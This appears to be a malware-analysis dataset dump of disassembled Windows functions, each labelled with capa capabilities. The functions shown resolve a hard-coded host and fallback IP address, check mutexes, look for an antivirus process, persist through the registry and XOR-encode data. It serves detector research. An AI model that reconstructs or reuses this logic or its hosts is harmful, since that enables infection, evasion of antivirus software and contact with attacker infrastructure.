joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002c15
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x154
push ebx
push esi
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.100028f8
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop ecx
mov esi, str.SoftwareMicrosoft_
push esi
lea eax, [ebp - 0x78]
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x78]
push eax
call ebx
push esi
lea eax, [ebp - 0xdc]
push eax
call edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xdc]
push eax
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp + 0x74]
push eax
push 0x2001f
push 0
lea eax, [ebp - 0x78]
push eax
push 0x80000002
call esi
test eax, eax
jne 0x10002c8d
mov esi, 0x10006b40
jmp 0x10002caf
lea eax, [ebp + 0x74]
push eax
push 0x2001f
push 0
lea eax, [ebp - 0xdc]
push eax
push 0x80000001
call esi
test eax, eax
mov esi, 0x10006b40
jne 0x10002d12
lea eax, [ebp + 0x70]
push eax
push esi
push 0
push dword [ebp + 0x74]
mov dword [ebp + 0x70], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x10002cf7
push 0x26
push esi
call dword [sym.imp.SHLWAPI.dll_StrChrA]
inc eax
push eax
push 0x10006ba8
call edi
push 0x26
push 0
push esi
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
test eax, eax
je 0x10002d77
mov byte [eax], 0
jmp 0x10002d77
push esi
call fcn.10002892
pop ecx
push esi
lea eax, [ebp + 0xc]
push eax
call edi
push 0x1000b724
lea eax, [ebp + 0xc]
push eax
call ebx
jmp 0x10002d5a
push esi
call fcn.10002892
pop ecx
push esi
lea eax, [ebp + 0xc]
push eax
call edi
push 0x1000b724
lea eax, [ebp + 0xc]
push eax
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [ebp + 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x80000002
call esi
test eax, eax
je 0x10002d5a
lea eax, [ebp + 0x74]
push eax
lea eax, [ebp - 0xdc]
push eax
push 0x80000001
call esi
test eax, eax
jne 0x10002d80
lea eax, [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [ebp + 0xc]
push eax
push 1
push 0
push dword [ebp + 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push dword [ebp + 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
add ebp, 0x78
leave
ret

Function at 0x10002dbb
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
xor eax, eax
push eax
lea ecx, [ebp - 4]
push ecx
push eax
push eax
push 1
push str.acidisa.com
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
jne 0x10002e0a
mov eax, dword [ebp - 4]
push dword [eax + 0x18]
call sub.WS2_32.dll_inet_ntoa
push eax
lea eax, [ebp - 0x828]
push 0x1000b66c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 1
push dword [ebp - 4]
call sub.DNSAPI.dll_DnsRecordListFree
jmp 0x10002e24
push str.85.17.166.172
lea eax, [ebp - 0x828]
push str.http:___s_cn
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
lea eax, [ebp - 0x828]
push eax
mov esi, 0x10006338
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, esi
pop esi
leave
ret
Function at 0x10003972
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
xor ebx, ebx
cmp byte [0x10006c14], bl
jne 0x10003a3d
push esi
mov esi, str.VCMMTX
push esi
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp eax, ebx
mov dword [0x10006c10], eax
je 0x100039af
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10003a3c
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, 0x1000d100
push esi
mov dword [0x10006c10], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x26
jle 0x100039da
push 0x1000d116
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10006020
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x2c]
push eax
mov byte [0x10006c14], 1
call fcn.100013e6
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
pop ecx
lea eax, [ebp - 0x2c]
push eax
push ebx
push 1
push ebx
call esi
mov dword [0x10006c0c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.10001435
pop ecx
lea eax, [ebp - 0x2c]
push eax
push ebx
push 1
push ebx
call esi
mov dword [0x1000601c], eax
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push 0x1000375b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10006c20], eax
pop esi
pop ebx
leave
ret
Function at 0x10003fcb
Capabilities:
Check if file exists
Create directory

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push 0x5c
push 0
push edi
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov esi, eax
test esi, esi
je 0x10004011
mov byte [esi + 1], 0
push 0x5c
inc esi
push esi
call dword [sym.imp.SHLWAPI.dll_StrChrA]
mov esi, eax
test esi, esi
je 0x10004011
push edi
mov byte [esi], 0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1000400c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [esi], 0x5c
jmp 0x10003fe6
pop edi
pop esi
ret

Function at 0x10004014
Capabilities:
Check mutex on windows

Disassembly:
push str.awx_mutant
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x10004043
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000404a
push str.AD_AWARE.EXE
call fcn.1000147d
pop ecx
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
ret
Function at 0x10005041
Capabilities:
Delete registry key
Terminate thread

Disassembly:
push ebx
push str.SOFTWAREMicrosoftzxc5
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
xor ebx, ebx
cmp byte [0x1000d19c], bl
je 0x10005061
call fcn.10004e48
push 0x7d0
push dword [0x10006c40]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10005083
push ebx
push dword [0x10006c40]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x10006c40]
cmp eax, ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x1000509c
push eax
call esi
mov dword [0x10006c40], ebx
mov eax, dword [0x10006c48]
cmp eax, ebx
je 0x100050ae
push eax
call esi
mov dword [0x10006c48], ebx
mov eax, dword [0x10006c3c]
cmp eax, ebx
je 0x100050c0
push eax
call esi
mov dword [0x10006c3c], ebx
mov eax, dword [0x10006c44]
cmp eax, ebx
je 0x100050d2
push eax
call esi
mov dword [0x10006c44], ebx
mov eax, dword [0x10006c50]
cmp eax, ebx
pop esi
je 0x100050e9
push 0x8000
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebx
ret

Function at 0x100053d0
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov ebx, str._ConsprMutx
push ebx
xor esi, esi
push esi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp eax, esi
jne 0x100054aa
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x100054b1
cmp dword [0x10006c40], esi
jne 0x100054b1
cmp dword [0x10006c48], esi
jne 0x100054b1
push edi
mov edi, str.C8DF5002_7A3B_43FB_9CD2_55D64B325DE4
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x26
jle 0x10005439
push 0x1000d1b6
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10006020
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x2c]
push eax
call fcn.100013e6
pop ecx
lea eax, [ebp - 0x2c]
push eax
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 6
push eax
mov dword [0x10006c3c], eax
call fcn.10003a40
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
pop ecx
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x100050eb
push esi
push esi
call edi
mov dword [0x10006c40], eax
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x10005224
push esi
push esi
call edi
push ebx
push esi
push esi
mov dword [0x10006c48], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x10006c44], eax
pop edi
jmp 0x100054b1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
leave
ret
Function at 0x100055a0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xc4
push ebx
xor ebx, ebx
push esi
mov esi, 0x94
push esi
lea eax, [ebp - 0x4c]
push ebx
push eax
mov dword [ebp + 0x5c], ebx
mov dword [ebp + 0x68], ebx
mov dword [ebp + 0x74], ebx
mov dword [ebp + 0x58], 0x400
mov dword [ebp + 0x70], ebx
mov byte [ebp + 0x60], bl
mov byte [ebp + 0x61], bl
mov byte [ebp + 0x62], bl
mov byte [ebp + 0x63], bl
mov byte [ebp + 0x64], bl
mov byte [ebp + 0x65], 5
call fcn.10001c49
add esp, 0xc
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x4c], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
xor eax, eax
inc eax
cmp dword [ebp - 0x3c], eax
je 0x10005776
push edi
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
mov dword [ebp + 0x6c], edi
je 0x10005772
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1000bb50
push edi
call esi
cmp eax, ebx
mov dword [ebp + 0x48], eax
je 0x10005769
push 0x1000bb3c
push edi
call esi
mov edi, eax
cmp edi, ebx
je 0x10005769
push str.GetTokenInformation
push dword [ebp + 0x6c]
call esi
cmp eax, ebx
mov dword [ebp + 0x4c], eax
je 0x10005769
push str.EqualSid
push dword [ebp + 0x6c]
call esi
cmp eax, ebx
mov dword [ebp + 0x54], eax
je 0x10005769
push str.FreeSid
push dword [ebp + 0x6c]
call esi
cmp eax, ebx
mov dword [ebp + 0x50], eax
je 0x10005769
lea eax, [ebp + 0x70]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp + 0x60]
push eax
call dword [ebp + 0x48]
test eax, eax
je 0x10005742
lea eax, [ebp + 0x68]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
test eax, eax
je 0x10005742
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp + 0x74], ebx
je 0x100056d1
push dword [ebp + 0x74]
call fcn.10005587
pop ecx
push dword [ebp + 0x58]
call fcn.10005573
cmp eax, ebx
pop ecx
mov dword [ebp + 0x74], eax
je 0x10005742
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp + 0x58]
push eax
push dword [ebp + 0x58]
push dword [ebp + 0x74]
push 2
push dword [ebp + 0x68]
call dword [ebp + 0x4c]
test eax, eax
jne 0x10005705
call esi
cmp eax, 0x7a
jne 0x10005742
call esi
test eax, eax
jne 0x100056c3
mov eax, dword [ebp + 0x74]
xor edi, edi
cmp dword [eax], ebx
mov dword [ebp + 0x5c], ebx
jbe 0x10005742
mov esi, eax
add esi, 8
push dword [esi - 4]
push dword [ebp + 0x70]
call dword [ebp + 0x54]
test eax, eax
je 0x1000572e
test byte [esi], 0x10
je 0x1000573b
mov eax, dword [ebp + 0x74]
inc edi
add esi, 8
cmp edi, dword [eax]
jb 0x1000571c
jmp 0x10005742
mov dword [ebp + 0x5c], 1
cmp dword [ebp + 0x68], ebx
je 0x10005750
push dword [ebp + 0x68]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x74], ebx
je 0x1000575e
push dword [ebp + 0x74]
call fcn.10005587
pop ecx
cmp dword [ebp + 0x70], ebx
je 0x10005769
push dword [ebp + 0x70]
call dword [ebp + 0x50]
push dword [ebp + 0x6c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp + 0x5c]
pop edi
pop esi
pop ebx
add ebp, 0x78
leave
ret
Function at 0x100057f8
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
cmp dword [esp + 0xc], ecx
jle 0x10005813
mov eax, dword [esp + 4]
mov dl, byte [esp + 8]
add eax, ecx
xor byte [eax], dl
inc ecx
cmp ecx, dword [esp + 0xc]
jl 0x10005800
ret

Function at 0x10005a04
Capabilities:
Read file on windows

Disassembly:
push ecx
push esi
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 1
push 0x80000000
push 0x10006020
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 2
push edi
mov esi, eax
push 0xfffffffffffffff3
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [esp + 0xc]
push eax
push 0x13
push 0x10006230
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ecx
ret

Function at 0x10005a4d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push 1
push 0x80000000
push 0x10006020
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 2
push esi
mov edi, eax
push 0xffffffffffffffba
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 4]
push eax
push 0x46
lea eax, [ebp - 0x4c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10006230
push 0x10006258
push 0x1000626c
lea eax, [ebp - 0x4c]
push 0x46
push eax
call fcn.10005975
add esp, 0x14
pop edi
pop esi
leave
ret

Function at 0x10005ab6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
cmp esi, 0xffffffff
je 0x10005b0c
and dword [ebp + 8], 0
push ebx
lea eax, [ebp + 8]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.10005814
add esp, 0x10
mov ebx, eax
push 2
mov eax, 0xffffff38
sub eax, dword [ebp + 8]
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
pop ebx
pop esi
leave
ret

Function at 0x10005b0f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call fcn.100057c9
add esp, 0xc
push 2
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x40
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
leave
ret
Function at 0x10004432
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x44], 0
je 0x10004440
xor eax, eax
inc eax
pop esi
ret
push str.windlgctl32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esi + 0x40], eax
test eax, eax
jne 0x10004456
xor eax, eax
pop esi
ret
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str._MarqueeShow_CDialogCtrlAPI__SGHPAU_GUID__PAUHWND____HPB_W2_Z
push eax
call edi
push str._Show_CDialogCtrlAPI__SGHPAU_GUID__PAUHWND____HPB_W2HHH_Z
push dword [esi + 0x40]
mov dword [esi + 4], eax
call edi
mov ebx, str._Stop_CDialogCtrlAPI__SGXPAU_GUID___Z
push ebx
push dword [esi + 0x40]
mov dword [esi + 8], eax
call edi
push str._Update_CDialogCtrlAPI__SGHPAU_GUID__PB_W1H_Z
push dword [esi + 0x40]
mov dword [esi + 0xc], eax
call edi
push str._TipShow_CDialogCtrlAPI__SGHPAU_GUID__PAUHWND____HPB_W2_Z
push dword [esi + 0x40]
mov dword [esi + 0x10], eax
call edi
push ebx
push dword [esi + 0x40]
mov dword [esi + 0x1c], eax
call edi
push str._OutSendShow_CDialogCtrlAPI__SGHPAUHWND_____Z
push dword [esi + 0x40]
mov dword [esi + 0x20], eax
call edi
push str._OutSendStop_CDialogCtrlAPI__SGXXZ
push dword [esi + 0x40]
mov dword [esi + 0x14], eax
call edi
push str._SCDTOutSendShow_CDialogCtrlAPI__SGHKPAUHWND_____Z
push dword [esi + 0x40]
mov dword [esi + 0x18], eax
call edi
push str._GetMsg_CDialogCtrlAPI__SGHKKPAPA_WPAK_Z
push dword [esi + 0x40]
mov dword [esi + 0x24], eax
call edi
push str._FreeBuff_CDialogCtrlAPI__SGXPAX_Z
push dword [esi + 0x40]
mov dword [esi + 0x28], eax
call edi
push str._DWMGetFailedCfgInfo_CDialogCtrlAPI__SGHPAHPAPA_WPAK_Z
push dword [esi + 0x40]
mov dword [esi + 0x2c], eax
call edi
push str._DWMAddFailedInfo_CDialogCtrlAPI__SGHPB_WKKK_Z
push dword [esi + 0x40]
mov dword [esi + 0x30], eax
call edi
push str._DWMAddFailedInfo_CDialogCtrlAPI__SGHPB_WKKKK_Z
push dword [esi + 0x40]
mov dword [esi + 0x34], eax
call edi
push str._DWMFailedShow_CDialogCtrlAPI__SGHPAUHWND____PB_W_Z
push dword [esi + 0x40]
mov dword [esi + 0x38], eax
call edi
xor ecx, ecx
pop edi
mov dword [esi + 0x3c], eax
pop ebx
cmp dword [esi + 4], ecx
jne 0x10004567
cmp dword [esi + 0xc], ecx
jne 0x10004567
cmp dword [esi + 8], ecx
jne 0x10004567
cmp dword [esi + 0x10], ecx
jne 0x10004567
cmp dword [esi + 0x1c], ecx
jne 0x10004567
cmp dword [esi + 0x24], ecx
jne 0x10004567
cmp dword [esi + 0x18], ecx
jne 0x10004567
cmp dword [esi + 0x28], ecx
jne 0x10004567
cmp dword [esi + 0x2c], ecx
jne 0x10004567
cmp dword [esi + 0x30], ecx
jne 0x10004567
cmp dword [esi + 0x34], ecx
jne 0x10004567
cmp eax, ecx
jne 0x10004567
mov ecx, esi
call fcn.100043dd
jmp 0x10004452
xor eax, eax
inc eax
mov dword [esi + 0x44], eax
pop esi
ret
Function at 0x1000a0ab
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
mov eax, dword [0x10246460]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
lea eax, [ebx + ebx]
push eax
push 0
push esi
mov dword [ebp - 0xd0], esi
call fcn.10097040
add esp, 0xc
call fcn.100f2850
test eax, eax
je 0x1000a16c
push 0x41
push 0
push 1
push str.default
call dword [sym.imp.USER32.dll_OpenDesktopW]
mov esi, eax
xor eax, eax
test esi, esi
je 0x1000a1ea
push 0xc6
push eax
mov word [ebp - 0xcc], ax
lea eax, [ebp - 0xca]
push eax
call fcn.10097040
add esp, 0xc
lea eax, [ebp - 0xcc]
push eax
push 0x10009fed
push esi
call dword [sym.imp.USER32.dll_EnumDesktopWindows]
push esi
call dword [sym.imp.USER32.dll_CloseDesktop]
lea eax, [ebp - 0xcc]
push eax
call fcn.10097626
pop ecx
cmp eax, ebx
jb 0x1000a153
xor eax, eax
jmp 0x1000a1ea
lea eax, [ebp - 0xcc]
push eax
push dword [ebp - 0xd0]
call fcn.10097591
pop ecx
xor eax, eax
pop ecx
inc eax
jmp 0x1000a1ea
xor eax, eax
push 0xc6
push eax
mov word [ebp - 0xcc], ax
lea eax, [ebp - 0xca]
push eax
call fcn.10097040
add esp, 0xc
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0xcc]
push eax
mov dword [ebp - 0xd4], 0x64
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [ebp - 0xd0], eax
test eax, eax
je 0x1000a1cd
lea eax, [ebp - 0xcc]
push eax
call fcn.10097626
pop ecx
cmp eax, ebx
jae 0x1000a14c
lea eax, [ebp - 0xcc]
push eax
push esi
jmp 0x1000a160
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4dd
jne 0x1000a1e4
mov dword [ebp - 0xd0], 1
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10096f22
leave
ret

Function at 0x1000a4a9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x10246460]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
cmp edi, esi
je 0x1000a567
cmp ebx, esi
je 0x1000a567
cmp dword [ebp + 0x10], esi
je 0x1000a567
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
call fcn.10097040
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0xffffffffffffffff
push edi
call fcn.1001c172
lea eax, [ebp - 0x20c]
push eax
call fcn.10097626
add esp, 0x20
test eax, eax
je 0x1000a567
push esi
push esi
push 2
push esi
push esi
push 0xc0000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000a563
push esi
lea eax, [ebp - 0x210]
push eax
push dword [ebp + 0x10]
mov dword [ebp - 0x210], esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
jmp 0x1000a569
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10096f22
leave
ret
Function at 0x1000a578
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.10097bc0
mov edi, dword [ebp + 0xc]
pop ecx
mov ebx, eax
mov eax, 0x1f3
push edi
sub eax, ebx
push esi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x1000a5b2
xor eax, eax
inc eax
jmp 0x1000a650
mov dword [ebp - 4], 1
test byte [edi], 0x10
je 0x1000a614
lea ecx, [edi + 0x2c]
cmp byte [ecx], 0x2e
jne 0x1000a5d7
mov al, byte [edi + 0x2d]
cmp al, 0x2e
jne 0x1000a5d3
cmp byte [edi + 0x2e], 0
je 0x1000a62c
test al, al
je 0x1000a62c
push ecx
call fcn.10097bc0
inc eax
pop ecx
cmp dword [ebp - 0xc], eax
jb 0x1000a62c
lea eax, [edi + 0x2c]
push eax
push esi
mov byte [ebx + esi - 1], 0
call fcn.10097ad0
push 0x101e60a0
push esi
call fcn.10097ad0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push esi
call fcn.1000a578
add esp, 0x20
mov byte [ebx + esi], 0
jmp 0x1000a624
push dword [ebp + 0x14]
lea eax, [edi + 0x2c]
push eax
push esi
mov byte [ebx + esi - 1], 0
call dword [ebp + 0x10]
mov byte [ebx + esi - 1], 0x2a
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000a644
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000a5b9
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000a655
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.10097626
mov edi, dword [ebp + 0xc]
pop ecx
mov ebx, eax
mov eax, 0x1f3
push edi
sub eax, ebx
push esi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x1000a68f
xor eax, eax
inc eax
jmp 0x1000a747
mov dword [ebp - 4], 1
test byte [edi], 0x10
je 0x1000a706
lea ecx, [edi + 0x2c]
cmp word [ecx], 0x2e
jne 0x1000a6ba
movzx eax, word [edi + 0x2e]
cmp ax, 0x2e
jne 0x1000a6b5
cmp word [edi + 0x30], 0
je 0x1000a723
test ax, ax
je 0x1000a723
push ecx
call fcn.10097626
inc eax
pop ecx
cmp dword [ebp - 0xc], eax
jb 0x1000a723
xor eax, eax
mov word [esi + ebx*2 - 2], ax
lea eax, [edi + 0x2c]
push eax
push esi
call fcn.10097563
push 0x101e60a4
push esi
call fcn.10097563
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push esi
call fcn.1000a655
add esp, 0x20
mov dword [ebp - 4], eax
push 0x2a
pop eax
mov word [esi + ebx*2 - 2], ax
xor eax, eax
mov word [esi + ebx*2], ax
jmp 0x1000a723
push dword [ebp + 0x14]
xor eax, eax
mov word [esi + ebx*2 - 2], ax
lea eax, [edi + 0x2c]
push eax
push esi
call dword [ebp + 0x10]
push 0x2a
mov dword [ebp - 4], eax
pop eax
mov word [esi + ebx*2 - 2], ax
cmp dword [ebp - 4], 0
je 0x1000a73b
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1000a696
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret